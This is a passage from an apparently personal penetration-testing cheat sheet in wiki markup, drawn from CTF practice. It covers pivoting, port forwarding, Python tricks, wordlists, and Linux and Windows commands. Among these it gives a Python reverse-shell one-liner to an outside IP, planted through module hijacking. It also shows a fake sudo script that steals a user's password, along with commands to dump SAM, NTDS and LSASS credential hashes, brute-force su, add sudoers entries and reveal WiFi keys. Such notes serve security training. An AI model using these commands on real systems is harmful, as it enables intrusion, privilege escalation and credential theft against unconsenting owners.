# Now you can use proxychains&lt;br /&gt;
# DISCOVER OTHER HOSTS ON THE NETWORK&lt;br /&gt;
# On windows you can use post/windows/gather/arp_scanner to discover other machines&lt;br /&gt;
# On Linux you can try arp -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -D 1337 user@172.16.0.5 -fN&lt;br /&gt;
# Now use proxychains&lt;br /&gt;
# If you want to nmap without proxychains&lt;br /&gt;
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== sshuttle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
sshuttle [options] -r [username@]sshserver[:port]&lt;br /&gt;
# Example&lt;br /&gt;
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Port Forwarding techniques ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Windows&lt;br /&gt;
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS&lt;br /&gt;
# Metasploit&lt;br /&gt;
portfwd add -l 9090 -p 9090 -r TARGETIP&lt;br /&gt;
# Reverse ssh tunnel, port forwarding 8090 from target to us:&lt;br /&gt;
ssh -R 8090:localhost:8090 user@ip&lt;br /&gt;
# Local port forward, forward local 8090 to target:&lt;br /&gt;
ssh -L 8090:localhost:8090 user@ip&lt;br /&gt;
# Chisel&lt;br /&gt;
# Example: forward port 8888 to attacker using chisel&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host&lt;br /&gt;
# Example&lt;br /&gt;
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
Example: forward port 8888 to attacker using chisel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Python ==&lt;br /&gt;
&lt;br /&gt;
=== Decompile ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/rocky/python-decompile3&lt;br /&gt;
# Translate python bytecode to python source code.&lt;br /&gt;
$ python pyinstxtractor.py&lt;br /&gt;
# Decompile .pyc&lt;br /&gt;
# https://github.com/zrax/pycdc&lt;br /&gt;
git clone https://github.com/zrax/pycdc&lt;br /&gt;
cd pycdc&lt;br /&gt;
cmake .&lt;br /&gt;
make&lt;br /&gt;
make check&lt;br /&gt;
python pycdc C:\Users\Bobby\example.pyc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If a python script tries to load a module which does not exist, we can place our own module.  #  https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes&lt;br /&gt;
# Add a python reverse shell into the file&lt;br /&gt;
echo &#039;import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.165&amp;quot;,22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&#039; &amp;gt; module.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PDB (Python Debugger ===&lt;br /&gt;
&lt;br /&gt;
[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Add import pdb&lt;br /&gt;
import pdb&lt;br /&gt;
# In script, before an error message, add&lt;br /&gt;
pdb.set_trace()&lt;br /&gt;
# Example&lt;br /&gt;
-&amp;gt; url = url.group(1)&lt;br /&gt;
(Pdb) print url.group(1)&lt;br /&gt;
http://swagshop.htb/index.php/admin/das[...]&lt;br /&gt;
(Pdb) continue&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python Extractor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/extremecoders-re/pyinstxtractor&lt;br /&gt;
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell&lt;br /&gt;
Python3 pyinstxtractor.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Simple HTTP Server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$python -m SimpleHTTPServer&lt;br /&gt;
$python -m http.server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Symbolic Link (Windows) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt&lt;br /&gt;
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.&lt;br /&gt;
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Wordlists ==&lt;br /&gt;
&lt;br /&gt;
=== Cewl - Generate wordlist ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Will create a wordlist from words in the URL, and add numbers.&lt;br /&gt;
cewl  --with-numbers &amp;gt; wordlist&lt;br /&gt;
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)&lt;br /&gt;
cewl -d 2 -m 5 -w docswords.txt https://example.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cupp ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 cupp.py -i # Interactive mode where you fill out information about the person&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Datelist - Generate date wordlist ===&lt;br /&gt;
&lt;br /&gt;
[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate date list with yyyy-mm-dd format&lt;br /&gt;
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -&lt;br /&gt;
-b = beginning date&lt;br /&gt;
-e = end date&lt;br /&gt;
-f = format&lt;br /&gt;
-o = output&lt;br /&gt;
-s = spacing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Seclists ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]&lt;br /&gt;
&lt;br /&gt;
=== Python script ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import itertools&lt;br /&gt;
words = [&amp;quot;firmanavn&amp;quot;, &amp;quot;sommer&amp;quot;, &amp;quot;prod&amp;quot;,&lt;br /&gt;
&amp;quot;dev&amp;quot;, &amp;quot;database&amp;quot;, &amp;quot;app&amp;quot;, &amp;quot;server&amp;quot;,&lt;br /&gt;
&amp;quot;test&amp;quot;, &amp;quot;oracle&amp;quot;, &amp;quot;doc&amp;quot;, &amp;quot;admin&amp;quot;, &amp;quot;db&amp;quot;,&lt;br /&gt;
&amp;quot;password&amp;quot;, &amp;quot;administrator&amp;quot;, &amp;quot;tech&amp;quot;]&lt;br /&gt;
combo = itertools.combinations(words, 2)&lt;br /&gt;
combo = list(combo)&lt;br /&gt;
&lt;br /&gt;
with open(&amp;quot;/home/kali/wordlist.txt&amp;quot;, &amp;quot;w+&amp;quot;) as wordlist:&lt;br /&gt;
    for i in combo:&lt;br /&gt;
        wordlist.write(i[0] + &amp;quot;.&amp;quot; + i[1])&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
        wordlist.write(i[0].capitalize() + &amp;quot;.&amp;quot; + i[1].capitalize())&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    for i in range(0,2023):&lt;br /&gt;
        for v in words:&lt;br /&gt;
            word = v + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Linux Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Add SUID (setuid) bit to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
chmod 4755 /tmp/sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add user to sudoers file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Add User to sudoers file&lt;br /&gt;
echo username ALL=(ALL) ALL &amp;gt;&amp;gt; sudoers&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BruteForce using su when having a shell - Password Spray ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/carlospolop/su-bruteforce&lt;br /&gt;
./su.sh  -u ray -w xato-net-10-million-passwords-10000.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cat, cut delimeter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Cat a file and cut delimiter space in field 3&lt;br /&gt;
cat $log | cut -d&#039; &#039; -f3-&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy output to clipboard ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat file | xclip -selection clipboard&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enable cursor in Terminal Kali ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
tput cnorm&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Output tty to shell or redirect to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From eavsdropper room in THM&lt;br /&gt;
# If a user types in his password and you have a shell you can redirect output to your shell.&lt;br /&gt;
cat sudo&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
read password&lt;br /&gt;
echo $password &amp;gt; /dev/pty/0 # Choose the correct pty.&lt;br /&gt;
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.&lt;br /&gt;
# Run&lt;br /&gt;
export $PATH=/tmp:$PATH&lt;br /&gt;
# Now wait for the user to type his password and it will pop up in your shell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kill/close open port on linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fuser -k PORT/tcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reset kali to default settings ===&lt;br /&gt;
&lt;br /&gt;
BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you&#039;re having problems with kali acting up, you can reset kali to default.&lt;br /&gt;
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;br /&gt;
sudo apt-get dist-upgrade&lt;br /&gt;
sudo apt-get autoremove&lt;br /&gt;
sudo apt-get autoclean&lt;br /&gt;
sudo update-grub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://vk9-sec.com/linux-restricted-shell-bypass/&lt;br /&gt;
# List of escape methods&lt;br /&gt;
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/&lt;br /&gt;
# If in rshell (Restricted shell), use this command to list all available commands&lt;br /&gt;
compgen -c&lt;br /&gt;
# Rbash escape ssh&lt;br /&gt;
ssh alfred@10.11.1.101 -t &#039;bash&#039; --noprofile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Read .db files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For DB files, like users.db. Read content with sqlitebrowser&lt;br /&gt;
sqlitebrowser users.db&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Read Windows registry files on Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start hivexsh, and load a hive.&lt;br /&gt;
# https://linux.die.net/man/1/hivexsh&lt;br /&gt;
hivexsh&lt;br /&gt;
&amp;gt; load SECURITY&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ss instead of netstat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ss -tlpn&lt;br /&gt;
-t display tcp socket&lt;br /&gt;
-l display listening socket&lt;br /&gt;
-p show process using packets&lt;br /&gt;
-n dont resolve service name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Desktop Environment if its broken ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.kali.org/docs/general-use/xfce-faq/&lt;br /&gt;
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.&lt;br /&gt;
REMEMBER TO DELETE IT FROM THE HOME USER and not root.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Kali Login loop ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On the login screen type&lt;br /&gt;
CTRL + ALT + F1&lt;br /&gt;
# then type this command from the home/kali dir.&lt;br /&gt;
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Windows Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Stealing SAM and SYSTEM ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]&lt;br /&gt;
&lt;br /&gt;
This files should be &#039;&#039;&#039;located&#039;&#039;&#039; in &#039;&#039;C:\windows\system32\config\SAM&#039;&#039; and &#039;&#039;C:\windows\system32\config\SYSTEM.&#039;&#039; But &#039;&#039;&#039;you cannot just copy them in a regular way&#039;&#039;&#039; because they protected.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\config\SAM&lt;br /&gt;
C:\windows\system32\config\SYSTEM&lt;br /&gt;
C:\windows\system32\config\regback\system.old&lt;br /&gt;
C:\windows\system32\config\regback\system&lt;br /&gt;
C:\windows\system32\config\regback\sam.old&lt;br /&gt;
C:\windows\system32\config\regback\sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== From Registry ====&lt;br /&gt;
&lt;br /&gt;
The easiest way to steal those files is to get a copy from the registry:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save HKLM\sam sam&lt;br /&gt;
reg save HKLM\system system&lt;br /&gt;
reg save HKLM\security security&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Download&#039;&#039;&#039; those files to your Kali machine and &#039;&#039;&#039;extract the hashes&#039;&#039;&#039; using:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
samdump2 SYSTEM SAM&lt;br /&gt;
impacket-secretsdump -sam sam -security security -system system LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Check if shell is 64-bit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Environment]::Is64BitOperatingSystem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decompile .NET exe file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use dotpeek or dnSPY&lt;br /&gt;
https://www.jetbrains.com/decompiler/&lt;br /&gt;
https://github.com/dnSpy/dnSpy&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump hashes from NTDS.dit using secretdump.py ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Location C:\Windows\ or C:\Windows\System32\&lt;br /&gt;
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping Domain password hasehs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow&lt;br /&gt;
https://pentestlab.blog/tag/diskshadow/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump creds frol lsass.dmp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/skelsec/pypykatz&lt;br /&gt;
# See writeup for HTB Blackfield&lt;br /&gt;
pypykatz lsa minidump lsass.DMP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find writeable directories ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writable directories&lt;br /&gt;
dir /a-r-d /s /b&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find .NET version using regkey ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Executing MSI on Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msiexec /quiet /i cmd.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump Windows Sam File ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save hklm\sam c:\sam&lt;br /&gt;
reg save hklm\system c:\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Run a dll using rundll32.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rundll32 C:\Tools\TestDll.dll,run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query HKLM /f password /t REG_SZ /s&lt;br /&gt;
reg query HKCU /f password /t REG_SZ /s&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump autologon passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg.exe query &amp;quot;HKLM\software\microsoft\windows nt\currentversion\winlogon&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== See WiFi password in cleartext ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
netsh wlan show profile&lt;br /&gt;
netsh wlan show profile Profile01 key=clear&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enviroment variable Location ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| %ALLUSERSPROFILE%&lt;br /&gt;
|  C:\Documents and Settings\All Users&lt;br /&gt;
|-&lt;br /&gt;
| %APPDATA%&lt;br /&gt;
| C:\Documents and Settings\Username\Application Data&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES%&lt;br /&gt;
|  C:\Program Files\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES(x86)%&lt;br /&gt;
| C:\Program Files (x86)\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMSPEC%&lt;br /&gt;
| C:\Windows\System32\cmd.exe&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEDRIVE%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEPATH%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES%&lt;br /&gt;
| C:\Program Files&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES(X86)%&lt;br /&gt;
| C:\Program Files (x86) (only in 64-bit version)&lt;br /&gt;
|-&lt;br /&gt;
| %SystemDrive%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %SystemRoot%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|-&lt;br /&gt;
| %TEMP% and %TMP%&lt;br /&gt;
| C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
|-&lt;br /&gt;
| %USERPROFILE%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %WINDIR%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== List all PowerShell Accelators ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[psobject].assembly.gettype(&amp;quot;System.Management.Automation.TypeAccelerators&amp;quot;)::Get&lt;br /&gt;
Key                          Value&lt;br /&gt;
---                          -----&lt;br /&gt;
Alias                        System.Management.Automation.AliasAttribute&lt;br /&gt;
AllowEmptyCollection         System.Management.Automation.AllowEmptyCollectionAttribute&lt;br /&gt;
AllowEmptyString             System.Management.Automation.AllowEmptyStringAttribute&lt;br /&gt;
AllowNull                    System.Management.Automation.AllowNullAttribute&lt;br /&gt;
ArgumentCompleter            System.Management.Automation.ArgumentCompleterAttribute&lt;br /&gt;
array                        System.Array&lt;br /&gt;
bool                         System.Boolean&lt;br /&gt;
byte                         System.Byte&lt;br /&gt;
char                         System.Char&lt;br /&gt;
....&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PROOFS ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
